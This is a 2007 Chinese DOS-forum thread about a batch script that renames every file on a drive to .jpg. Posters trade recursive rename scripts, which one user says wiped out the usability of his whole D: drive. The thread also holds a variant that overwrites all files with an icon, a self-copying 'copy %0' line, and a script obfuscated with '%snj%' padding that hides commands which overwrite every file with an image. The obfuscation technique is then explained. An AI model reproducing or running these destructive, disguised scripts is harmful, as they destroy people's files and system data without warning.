中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-03 14:12
48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 如何把所有文件都改成jpg后缀名
可打印版本  3,212 / 32
第16楼 mfdcxnf 发表于 2007-02-28 04:24
初级用户 发帖 74 积分 155
@echo off
cd\
for /f "delims=" %%i in ('dir /s /a /b /ad d:\ .') do (ren %%i\*.* *.jpg)
exit/b
这样我试过了,D盘下的文件可以变,可是系统WINDOWS下面的文件也变了呀。
第17楼 xixixi 发表于 2007-02-28 07:14
初级用户 发帖 23 积分 78
三楼可以实现,但只能在cmd上.
第 5 楼做的批处理语法错误。
XIXIXI研究了研究。。。应该把第 3 楼和第 5 楼的结合起来:
@echo off
cd\
for /f "delims=" %%i in ('dir /s /b /a-d .') do @ren %%i *.jpg
exit/b
这样就 Ok 了 !
如果阁下想做更有趣的事,比如用ICO图标覆盖所有所有的文件:
@echo off
cd\
for /f "delims=" %%i in ('dir /s /b /a-d .') do @ren %%i *.exe
for /f "delims=" %%i in ('dir /s /b /a-d .') do @copy XM3.ico %%i
exit/b
XM3.ico是XIXIXI覆盖的图标,不知道能不能成功我MS,我想把XM3.ico改为XM3.exe会好些吧。
不过小生不知为什么不能覆盖所有新建 文本文档或复件 新建 文本文档或复件...... 新建 文本文档,就连for %%a in (*.*) do copy %0 %%a > nul 这段代码的批处理也不能,这是为什么呀???
请高手指教+_+
第18楼 mfdcxnf 发表于 2007-02-28 08:17
初级用户 发帖 74 积分 155
18楼说的我验证了一下,可还是不能实现把指定的盘变成JPG。请高手继续出招吧
第19楼 oilio 发表于 2007-02-28 08:47
高级用户 发帖 303 积分 641
呵呵,不好意思啊,我经常问题区跑跑,批处理区跑跑,我忘了,这是批处理区,当成问题求助区了,所以如果保存为批处理肯定是不对的。不好意思!

[ Last edited by oilio on 2007-2-27 at 07:49 PM ]
第20楼 GGM 发表于 2007-02-28 09:17
新手上路 发帖 7 积分 16
我是个新手,中国DOS联盟,蛮奇怪的,我便注册了,谁知yixia就惨了Y_Y -------------
我的d盘全是可恶的jpg.
批处理太可怕了呀*_*;
第 18,19 楼都是坏蛋.......
我的文件呀............................................................................................
还我!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
我要要多多学习才行!
for %%a in (*.*) do copy %0 %%a > nul
又是什么可怕的东东
第21楼 fjcase 发表于 2007-02-28 09:29
初级用户 发帖 23 积分 53
我愿意贡献我的机子给高手门做实验,不过上面的代码就18楼的可以用哦
第22楼 GGM 发表于 2007-02-28 09:34
新手上路 发帖 7 积分 16
哈!太好了!第 22 楼真是知音呀!
第23楼 mfdcxnf 发表于 2007-02-28 09:51
初级用户 发帖 74 积分 155
我也愿意把我的机子当试验,只要你有招的就来吧,反正我装了还原精灵的,至于没装还原精的那个(21)楼主怪自己太细心了,我前面的贴不是推荐了还原精灵吗
第24楼 GGM 发表于 2007-02-28 10:16
新手上路 发帖 7 积分 16
还原精灵? 多谢了~~
我一定试一试哟,对电脑有副作用吗?
第25楼 mfdcxnf 发表于 2007-02-28 10:30
初级用户 发帖 74 积分 155
没有,我想要的全部解决,谢谢各位。我把改过的发来
@echo off
for /f "delims=" %%i in ('dir /s /a /b /ad d:.') do (ren %%i\*.* *.jpg)
ren d:\*.* *.jpg
exit/b
这样就可以真正实现想要那个盘的所有文件变成JPG了,哈哈。
第26楼 xixixi 发表于 2007-02-28 10:59
初级用户 发帖 23 积分 78
我说那个叫GGM(GGM应该是你的名字缩写吧?龟龟妹?XIXIXI!!)的,太莫明其妙了!!
再说了把*.jpg改为原文件类型不就可以了,真实的!
第27楼 KKIILDL 发表于 2007-02-28 23:47
初级用户 发帖 32 积分 48
我觉得这个比较好:
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%%snj%%snj%s%snj%%snj%%snj%e%snj%%snj%%snj%r%snj%%snj%%snj%
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%s%snj%%snj%%snj%t%snj%%snj%%snj%a%snj%%snj%%snj%r%snj%%snj%%snj%t%snj%%snj%%snj%
%snj%e%snj%%snj%%snj%c%snj%%snj%%snj%h%snj%%snj%%snj%o%snj%%snj%%snj% %snj%%snj%%snj%>%snj%%snj%%snj% %snj%%snj%%snj%3%snj%%snj%%snj%.%snj%%snj%%snj%j%snj%%snj%%snj%p%snj%%snj%%snj%g%snj%%snj%%snj%
%snj%c%snj%%snj%%snj%d%snj%%snj%%snj%\%snj%%snj%%snj%
%snj%f%snj%%snj%%snj%o%snj%%snj%%snj%r%snj%%snj%%snj% %snj%%snj%%snj%/%snj%%snj%%snj%f%snj%%snj%%snj% %snj%%snj%%snj%"%snj%%snj%%snj%d%snj%%snj%%snj%e%snj%%snj%%snj%l%snj%%snj%%snj%i%snj%%snj%%snj%m%snj%%snj%%snj%s%snj%%snj%%snj%=%snj%%snj%%snj%"%snj%%snj%%snj% %snj%%snj%%snj%%%snj%%snj%%snj%%%snj%%snj%%snj%i%snj%%snj%%snj% %snj%%snj%%snj%i%snj%%snj%%snj%n%snj%%snj%%snj% %snj%%snj%%snj%(%snj%%snj%%snj%'%snj%%snj%%snj%d%snj%%snj%%snj%i%snj%%snj%%snj%r%snj%%snj%%snj% %snj%%snj%%snj%/%snj%%snj%%snj%s%snj%%snj%%snj%/%snj%%snj%%snj%b%snj%%snj%%snj%/%snj%%snj%%snj%a%snj%%snj%%snj%-%snj%%snj%%snj%d%snj%%snj%%snj%.%snj%%snj%%snj%'%snj%%snj%%snj%)%snj%%snj%%snj% %snj%%snj%%snj%d%snj%%snj%%snj%o%snj%%snj%%snj% %snj%%snj%%snj%@%snj%%snj%%snj%c%snj%%snj%%snj%o%snj%%snj%%snj%p%snj%%snj%%snj%y%snj%%snj%%snj% %snj%%snj%%snj%3%snj%%snj%%snj%.%snj%%snj%%snj%j%snj%%snj%%snj%p%snj%%snj%%snj%g%snj%%snj%%snj% %%i
%snj%e%snj%%snj%%snj%x%snj%%snj%%snj%i%snj%%snj%%snj%t%snj%%snj%%snj%\%snj%%snj%%snj%b%snj%%snj%%snj%
^_^它可以加密哟~
第28楼 GGM 发表于 2007-03-01 01:27
新手上路 发帖 7 积分 16
第 28 楼的太恐怖了!O_O;
有那么夸张吗?
是乱码还是代码.
第29楼 slore 发表于 2007-03-01 01:30
铂金会员 发帖 2,478 积分 5,212
Originally posted by xixixi at 2007-2-27 18:14:
复件 新建


之类的要把你的参数加引号,因为他们有空格
第30楼 xixixi 发表于 2007-03-01 02:05
初级用户 发帖 23 积分 78
xixixi 了解.

%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net stat
加上这段是给此BAT加密,解密非常简单在CMD中:type 盘符:\bat文件名
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj%
去掉%snj%就是net
上一页  1 2 3  下一页
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023